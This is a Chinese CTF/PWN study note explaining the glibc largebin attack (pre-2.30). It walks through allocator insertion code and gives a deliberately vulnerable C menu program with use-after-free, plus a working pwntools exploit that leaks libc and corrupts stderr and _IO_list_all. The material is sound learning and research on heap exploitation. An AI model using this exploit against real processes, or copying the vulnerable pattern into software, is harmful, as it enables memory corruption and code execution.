【我的 PWN 学习手札】Largebin Attack(< glibc-2.30)

news/2024/9/18 21:30:05 标签: 学习

目录

前言

一、Largebin 的组织结构

(1)largebin 里放了单个 chunk

(2)largebin 里放了一组同样大小的 chunk 

(3)largebin 里放了多组不同大小的 chunk 

(4)重点关注和理解 

二、插入过程源码分析

三、攻击过程和效果 

四、测试与模板


前言

Largebin 与 smallbin unsortedbin 在组织结构上,除了通过 fd 和 bk 字段的双向链表组织,还存在fd_nextsize 和 bk_nextsize 字段。因此,当进行 free 或者 malloc 时,这些字段有着与此前不同的写逻辑。largebin attack 就是利用 largebin 的这一组织特性进行利用的。 

实现效果:能够在任意地址写堆地址(后期 hook 都被削去,往往通过构造IO_File来实现利用,Largebin Attack就是实现该利用的重要的前置手法)


一、Largebin 的组织结构

(1)largebin 里放了单个 chunk

(2)largebin 里放了一组同样大小的 chunk 

(3)largebin 里放了多组不同大小的 chunk 

(4)重点关注和理解 

        如果我们“擦去”所谓的 nextsize 指针,就会发现 largebin 中的 chunk 还是用 fd 和 bk 的双向链表组织的。

        然而每一个 largebin 所保存的 chunk 的 size 都是一个范围。largebin 的组织在内部是 fd 方向上 size 广义递减的(除了最后的 chunk),在 bk 方向上 size 是广义递增的(除了开头的 chunk)。

        既然 size 有序,完全没必要单个遍历,需要进行插入时也是依据合适的 size 找到插入的位置。为此用 fd_nextsize 来记录下一个更大 size 的 chunk,用 bk_nextsize 来记录上一个更小 size 的 chunk。

二、插入过程源码分析

// 从unsortedbin来,如果不插入smallbin
if (in_smallbin_range (size)){
    ...
// 则插入largebin
}else{
     // 找到对应size的largebin
     victim_index = largebin_index (size);
     bck = bin_at (av, victim_index);
     fwd = bck->fd;
     /* maintain large bins in sorted order */
     // largebin非空
     if (fwd != bck){
         /* Or with inuse bit to speed comparisons */
         size |= PREV_INUSE;
         /* if smaller than smallest, bypass loop below */
         assert (chunk_main_arena (bck->bk));
         // 特判,如果比最小的还小,则插入尾部
         if ((unsigned long) (size)
             < (unsigned long) chunksize_nomask (bck->bk)){
             ...
         // 否则将开始循环依据size找到合适的位置
         }else{
              assert (chunk_main_arena (fwd));
              while ((unsigned long) size < chunksize_nomask (fwd)){
                  fwd = fwd->fd_nextsize;
                  assert (chunk_main_arena (fwd));
              }
              // 如果已经有该size的free chunk,则插在该size chunk的第二个位置
              // 注意,fd_nextsize和bk_nextsize都不需要变动,这也是插入到第二个的原因
              if ((unsigned long) size
                    == (unsigned long) chunksize_nomask (fwd))
                  /* Always insert in the second position. */
                  fwd = fwd->fd;
              // 就是新的size,找到最近的大于该size/小于该size的free chunk的序列的第一个chunk
              else{
                  // 先对正在插入的chunk进行赋值,新插入chunk的两个nextsize已经指出去了
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  // 然后就是将原本连在一起的旧的链上的指针更新,指向新插入的chunk
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;
         }
      }else
            victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 刚刚进行的都是nextsize的变动,接下来进行fd和bk的变动
// 已经找到了插入位置,即插入到fwd和bck这两个chunk之间,这对于所有情况都是一样,因此这块代码通用
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

三、攻击过程和效果 

利用插入过程中的指针操作,如果我们通过 UAF 将 largebin 中的 free chunk 的 bk 指针和 bk_nextsize 指针进行修改: 

那么在进行上述源码操作时,就会发生:

可以看到,两个地址都被写上了同一个堆指针,这就是largebin attack所能达成的效果。 

四、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
char *chunk_list[0x100];
 
void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}
 
int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}
 
void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}
 
void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}
 
void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}
 
void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0x400)
add(1,0x10)
add(2,0x410)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
libc.address=libc_base
success(hex(libc_base))

# largebin attack
add(3,0x500)
delete(2)
payload=b''
payload+=p64(0)
payload+=p64(libc.sym['stderr']-0x10)
payload+=p64(0)
payload+=p64(libc.sym['_IO_list_all']-0x20)
success(hex(libc.sym['_IO_list_all']))
success(hex(libc.sym['stderr']))
edit(0,0x20,payload)
add(3,0x500)
gdb.attach(io)
io.interactive()

http://www.niftyadmin.cn/n/5664553.html

相关文章

人工智能相关SCI期刊笔记—影响因子、中科院/JCR 分区 、收录方向

人工智能相关SCI期刊网址&#x1f680; 导师给我发了一个总结了人工智能相关内容相关的SCI集合&#xff0c;影响力从大到小&#xff0c;公众号叫IEEE论文那些事&#xff0c;非常感谢&#xff0c;我自己也是简单整理了一下&#xff0c;然后打算以博客的形式记录一下&#xff0c;…

启信产业大脑助力市北高新园区数字化升级,开启智慧园区新篇章

在数字化时代的浪潮中&#xff0c;产业园区的数字化转型已成为推动经济发展、提升管理效率和增强竞争力的关键因素。上海市市北高新技术服务业园区&#xff08;以下简称“市北高新园区”&#xff09;携手合合信息旗下启信产业大脑™推出“一企一画像”创新平台&#xff0c;在国…

ubuntu24系统普通用户免密切换到root用户

普通用户登录系统后需要切换到root用户&#xff0c;这边需要密码&#xff0c;现在不想让用户知道密码是多少。 sudo: 1 incorrect password attempt $ su - Password: root-security-cm5:~#开始配置普通用户免密切换到root用户&#xff0c;编辑配置文件 /etc/sudoers 最后增加…

Redis——常用数据类型hash

目录 hash常用命令hsethgethdelhkeyshvalshgetallhmgethlenhsetnxhincrbyhdecrby 哈希的编码方式哈希的应用 hash 常用命令 hset HSET key field value [field value ...]//时间复杂度O(1) //返回值&#xff1a;设置成功的键值对的个数hget HGET key field//hdel HDEL key…

[yotroy.cool] MGT 388 - Finance for Engineers - notes 笔记

个人博客https://www.yotroy.cool/,感谢关注~ 图片资源可能显示不全,请前往博客查看哦! ============================================================ Lecture 1 What is Accounting? The process of identifying, measuring and communicating economic informati…

数据结构与算法——Java实现 5.链表

目录 一、定义 链表的分类 二、性能 随机访问 插入或删除 三、单向链表 链表内部节点类 ① 增加&#xff08;插入&#xff09; 1.头插法 2.寻找最后一个节点位置 3.尾插法 4.根据索引位置插入 ② 删除 1.删除首个结点 2.获取链表的指定索引节点 3.删除链表指定索引元素节点 4.删…

代码随想录算法训练营第五十八天 | 拓扑排序精讲-软件构建

目录 软件构建 思路 拓扑排序的背景 拓扑排序的思路 模拟过程 判断有环 写代码 方法一&#xff1a; 拓扑排序 软件构建 题目链接&#xff1a;卡码网&#xff1a;117. 软件构建 文章讲解&#xff1a;代码随想录 某个大型软件项目的构建系统拥有 N 个文件&#xff0c;文…

高中数学:立体几何-平面的定义与公理

文章目录 一、平面定义及画法1、定义2、表示方法 二、公理1、公理12、公理23、公理3 一、平面定义及画法 1、定义 平面是向四周无限延展的。 2、表示方法 我们常用矩形的直观图&#xff0c;即平行四边形表示平面&#xff0e; 我们常用希腊字母α&#xff0c;β&#xff0c…